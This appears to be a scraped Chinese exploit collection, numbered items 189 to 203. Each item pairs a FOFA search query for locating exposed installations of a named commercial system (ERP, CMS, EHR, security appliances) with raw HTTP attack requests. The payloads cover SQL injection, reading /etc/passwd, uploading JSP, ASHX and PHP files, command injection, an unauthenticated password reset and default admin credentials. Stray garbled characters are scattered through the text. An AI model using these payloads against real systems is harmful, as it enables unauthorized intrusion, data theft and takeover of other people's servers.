Accept-Encoding: gzip, deflate
$ H, p- u$ S$ ~$ y$ H5 LAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
# C) {! y+ L8 L3 U

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
. ^& l0 t5 `( R+ i2 D% }7 pFOFA：app="LANWON-临床浏览系统"
- J# ]/ b( Z3 H# \4 y, C) N1 E( CGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
& c4 K  s) F' x/ Q! qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& ?) e6 |& ?0 b1 ~; N3 mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

$ H8 K) v2 N$ z6 R
# W8 f+ Q& T, }6 ], Q3 g190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
% X" L0 `- S/ B) |! I- v7 J1 b& |POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
' o2 B  e! L( a( E3 }2 O8 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
* ^+ T- b+ l. T/ o5 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
' w' K! d0 Z5 L. D  x  t2 a4 gAccept-Encoding: gzip, deflate
+ G: @  x. q9 XAccept-Language: zh-CN,zh;q=0.9
$ H; N2 n2 S. p
+ I  k; ^# O# Q1 u6 ]% O) t+ Tpoi=file:///etc/passwd

$ }1 F3 i) j% g( t
' ^  r3 U: P: f8 E191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
6 Q& F0 Z3 R# {+ }FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
5 l* m7 z3 D+ f5 D# n1 VHost: your-ip
# ?! d. O6 o: ]# KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! F" N) z2 U/ E8 ~* ^' YContent-Type: application/x-www-form-urlencoded

0 r0 }; x: s4 h9 Y! n4 q  zcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
: [' X/ `% j4 n2 n% E, c; e

4 S8 V4 c, }5 p192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
" g2 H+ Q$ [. kFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
8 S* {, i1 \- Q# `, R- r" |! WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
2 x) a6 m# V8 Y+ ]* u7 sContent-Type: application/x-www-form-urlencoded
# j8 C7 a+ \/ r
: N9 U4 E9 g4 e
: I: B) J4 p; b2 j# E; g: o5 S<% @ webhandler language="C#" class="AverageHandler" %>
* ~# C. d* m, _5 jusing System;
7 `( W1 c- @( W& T6 D% }, m/ V* n" `using System.Web;
public class AverageHandler : IHttpHandler
( V) b) l6 H0 `: j7 M# O{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
% M% K5 j: B+ F$ Q% e}
2 R  U# R! A* H3 i* m+ ~

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
$ Q+ E7 C" O+ H) b0 {FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
% t4 h, a: p9 UHost:
4 ?8 W" x; v! a5 wCookie: PHPSESSID=2333333333333;
; S1 }: ^2 [0 f* c% KContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

- `5 e/ g5 Z& c$ ^5 W+ O4 @2 E6 v5 B- i
2 Y( i" w; x. [) m; B2 Q+ l; {POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
( c0 f0 o( H9 N- VAccept: */*
/ m: J$ z) _; YConnection: close
Cookie: PHPSESSID=2333333333333;
4 w% v, D, h) n+ pContent-Type: application/x-www-form-urlencoded
; j# O( `+ W- r# ]8 k/ iContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


9 N! p, \* W" s5 ~. `0 X- |( \GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0

: F7 t1 w7 A* x/ q$ p8 n1 r
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
0 p  E# H% `8 x0 F5 Q3 KFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
; e- l; @+ X, B; T9 _4 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
! w1 Y0 G5 F3 ]- {  v: S# J  UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; t" J5 t7 P. ?; @8 r! QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- N( F3 {1 ?, r+ l) XAccept-Encoding: gzip, deflate
Connection: close
/ F8 b$ h+ `- _2 D( O& E% IContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
' q1 i  a/ C# ?8 m: I, C& f" `" X------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
; B7 [1 J  Q( rContent-Type: text/plain
+ S3 [0 G* R6 r+ h- i9 v% f1 i: i<% out.println("hello");%>
. U9 G* ^: w# J. e3 R' s------WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ X* D8 `/ F6 M8 LContent-Disposition: form-data; name="json"
( y4 j) p$ S$ f  k" R5 ` {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
/ R0 ?5 }* j' b* A  r
" L! h4 v$ p/ s: Q; t! t
1 N- k0 c' D' B0 C" G3 T195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
- n7 @& L4 H; p4 N" I( u" F7 xPOST /send_order.cgi?parameter=operation HTTP/1.1
7 {: n: q1 K) T% ?4 KHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
* q/ U& E$ O9 W6 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
- b1 e8 G# n3 B, k9 U; u" G# K
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


7 h; s# `; n3 E. |196. 河南省风速科技统一认证平台密码重置
. t% S( W/ E8 h4 s( y8 T: U0 A$ o, iFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
% n5 B/ q9 k) l  w4 k" G6 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
2 y- c4 q+ [# f$ r& o  M# uContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
) S: ^' q- ^9 A8 N  U% a0 k7 |Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
0 N% a* N7 z' t" ^+ \- ~* wConnection: close
3 {8 r5 G6 F" F# L
{"xgh":"test","newPass":"test666","email":""}


3 U4 m' t( Z9 {
7 \# @, v9 C* Q5 p2 g197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
0 Y/ }4 C. h0 {5 g* EFOFA：app="浙大恩特客户资源管理系统"
' l. \& g3 o9 r1 UGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
" {1 F- O& s  S. b# c9 F/ U& UHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
9 u( R' C/ X" Z2 m3 N9 G" O8 n, C

& n/ Q- d+ I  v
( R! g& l# q" A198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
- G' d: p, h' i0 }/ H1 o: m% NGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
9 _6 s1 ?+ V3 T: c8 R% mCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
. F( V) z# p+ M" G8 r$ q5 ?Accept: */*
/ G7 A) q  K  @. h! dAccept-Encoding: gzip, deflate
, B! {* j3 o! B, l5 ZAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


199. cockpit系统assetsmanager_upload接口 文件上传

! `" A4 t# ^; F1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
. G9 R4 ?4 S3 x% F. d$ z7 nGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

6 J+ j( J4 G  S( G2.使用刚才上一步获取到的jwt获取cookie：

& _! V* E6 h: P) N# `POST /auth/check HTTP/1.1
, ]( V) l1 Y0 oContent-Type: application/json
, V: M, r9 P! j: O* D8 B  {) _& p
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

5 X: v, m4 U5 S. h+ L& q响应：200，返回值:
0 |3 g3 m! D4 I; WSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
$ {7 [, m9 I6 g. t7 AFofa：title="Authenticate Please!"
- ^5 \4 V8 l. p8 h) t4 sPOST /assetsmanager/upload HTTP/1.1
" W- O8 K1 m8 o: K3 vContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
9 u  f( A; x+ ?Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
$ m! G: U0 }: ]Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
9 {7 b  I/ ^$ w7 f  O
" I4 K3 N1 ]* a5 _  z0 l9 h<?php echo "tttt";unlink(__FILE__);?>
' m1 f6 I* {/ M9 q-----------------------------36D28FBc36bd6feE7Fb3
( E& X- a7 B$ JContent-Disposition: form-data; name="folder"
, `# ?+ N7 n" f& t- i% i1 y; W  z
/ X" S) ~9 m' `  t/ T  P-----------------------------36D28FBc36bd6feE7Fb3--
; I; s0 {+ w1 ?( k
2 ~! S$ N! w0 h: t. [( ?' G  {
1 g" u# _# ]. K+ A$ i9 Y4 D) G0 G/storage/uploads/tttt.php
# C0 @+ E% L! b+ m3 G: X
! F; x+ z  i; w+ B& A, G6 T- j$ y200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
8 W# g+ b6 I+ \3 ZGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
4 q" M7 L% m1 m' t) e5 xCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" X9 \6 k# k# A7 B, L: V+ uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


6 \7 z- Q/ q4 [% O' @" L201. 方正全媒体新闻采编系统 binary SQL注入
' ?" A2 |" D' A$ @6 @  AFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
* H1 s1 u' d2 ^& S6 z) X+ rPOST /newsedit/newsplan/task/binary.do HTTP/1.1
5 ]$ J) t2 k9 |3 ~Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, q+ @& b, }  N, Q, O2 FAccept-Encoding: gzip, deflate
- }" R. g& |- c! o% ZAccept-Language: zh-CN,zh;q=0.9
* u  t* q) b1 D) QConnection: close
4 X9 U; w( z+ |1 m( E! z& n, A9 Q0 g0 C
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


* |$ e* |9 G9 v* n2 V9 a( S! y202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
' f% T4 ?* u- }1 |6 C% V8 ]GET /User/AccountEdit.aspx HTTP/1.1
$ |* W, r7 t; I+ H  iHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

, Z: K% B6 q# F3 s$ s
  Q# R% B! q9 w- g, Q& h& v$ q替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
% t" w* O2 `+ D: G; w; ^5 ~Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
" Q1 r* d% x7 t& U' L- rContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

- Q: Y; E  w3 j+ M__EVENTVALIDATION
/ k, Q  C+ \9 [; q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
: b1 V  z% e; Y% l- RContent-Type: text/plain
( L' C$ |8 \2 J# |5 x
4 N( W' M0 q" S, Q4 r9 X6 dHello World!
-----------------------------786435874t38587593865736587346567358735687
/ D* a' ?2 u  D5 z6 lContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
7 s5 g0 V# W" F! {2 ]8 s* R# Y8 i( t
, d4 ?! r0 P" Z3 p4 \7 L上传图片
) y0 d1 X0 {" b-----------------------------786435874t38587593865736587346567358735687
- V4 E: y: B9 Z+ ^Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
/ b& s9 J0 g! b, g, d+ D6 b
& V1 |" c  e! \8 K! K
-----------------------------786435874t38587593865736587346567358735687
0 G* s; e( i/ H& i% @; wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
. ^4 t8 O" P% y3 l6 g( o
3 v* G8 I, u* K' `+ {2 q1 s
$ M- s" L; R* J. P-----------------------------786435874t38587593865736587346567358735687--
7 X3 z0 c0 N0 V# ?9 W! T: k
9 E$ x2 X) _& x; {
. N6 ^7 y9 v- I3 x4 N7 W- L/_data/Uploads/1123.txt

/ {) V2 i- W: f. A( i" S! O203. 红海云EHR PtFjk 文件上传
7 t( y! ~7 i; _: j/ }# OFOFA：body="RedseaPlatform"
- b* @. {" b5 p1 R( u! P" zPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
$ w% B, r1 k# x* F# T2 j0 kHost: x.x.x.x
Accept-Encoding: gzip
9 A+ S, C& Y- m! oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- W4 W8 p+ z: hContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
+ @3 j! `. \" T" z& `' W* CContent-Length: 210
; ?9 u- [& \# `3 [$ e
8 ]' }3 u0 F* C4 c; }) {------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
* E2 W; L) n1 a2 B+ BContent-Type:image/jpeg

<% out.print("hello,eHR");%>
) W/ @9 `8 C5 L$ y------WebKitFormBoundaryt7WbDl1tXogoZys4--

0 P" X5 Y" g2 I+ h! @- x. U


; B( F+ O5 H0 S, K5 v" L
! P. Q1 d5 [+ j" h
- f- d9 P4 n( V% e- a